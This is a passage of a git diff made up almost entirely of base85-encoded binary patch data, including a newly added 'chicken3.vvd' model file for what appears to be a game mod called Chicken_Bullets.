zKDeLw0)Al+!2R$b@g+P6cMyl*4!Di@3T}hDh{JFf+)aE9cf%v_2>TteNBw<|a*m_+ z7~Bqz6W_q&@C0!Zo`9!_Z{aC;+MXeMJZ;ayv-UgMS^GWh9Cps0_bcaF@w~m@uY7^? zU9cDZb6&KUupi(hc$v5Y&oE~@+|J%-h!gMx`yAvN?B|;7!*-Al553oS9l*jBz}W8 z82gBJ$37;0fsf%6;y!!=AF}@MtoytD1Kx&ri9g|8c#n7h|FVDEr|_wLMm⪙0xj< zd;wn(|G-!9U*a|V7yd`Qf&am`#5?#FzGuY`{Ke4U1plXvv+ybZk@B2y@Hy!v5evSw zvD`mIZ1|6j?Oqdc;A5rOcX4RmqIaov0NiR^MojHhi807N6yfBD*UYLz}S!p?#na|~S1&DmEAW;YwgoRxZSJV}Q z#awY%+?9YOsFif3TxnR^m4RhkSy+}@Ial6QfE8RtSczBVVVJ8-4x?Hgt3s|!e+8^6 zxr(dis=FFQO`o;MwOnmj4%ULTTpd`4l`6rytW?QoU02W5=T$w{3&R?a>$6^EtRcAp z>sP@VksC6qE<4p_ACGm&by&H&YwW^Z6Iz68ibY`It{J&G40kQa9>W>elHAy}a;>q} zxW_i+HjHWE+QK%>X^yocw{`8IXYE-n0(O8M*rmPeNbUsN!}g5n%hSDzip9bGrr z-9@?{L{He$^>V#kA98Qkm)zU+gMD2Txi76Z)|(kojO&i|a{bBune8!}9PI|cNZ6C; z1qZr8ZZI6|hPa__m>W)v@Hvt^iWmt;y3ug7iy_9q7&wGB#*Jm}5T9e+IDDKN5683W zcsBt~a1-GmIGC6O2g4ym44e!nv2qMHikJeYu;&Okl~as>Q}Kz!WH=E{a?{*&H-nf7 zXTVv+Y&eIWxx@@O7tSMQ!Fg~#vB2kS@@%&dE^>?A5@IP_0+$iX;WD^_SP56aRm5tz z3a%m6!ZmOmu^z628;Ff?1KdPxhMUP-+*a}y+D5mHSP!?s?ZjHR9qu4j!yRxZu@dft ZyNKm*7u-!Og}dP%VlnjoFMaRN{{f=pFG&CZ literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.vvd b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.vvd new file mode 100644 index 0000000000000000000000000000000000000000..4f766284e36bd59354d3fdd87445e1398fc12690 GIT binary patch literal 44288 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 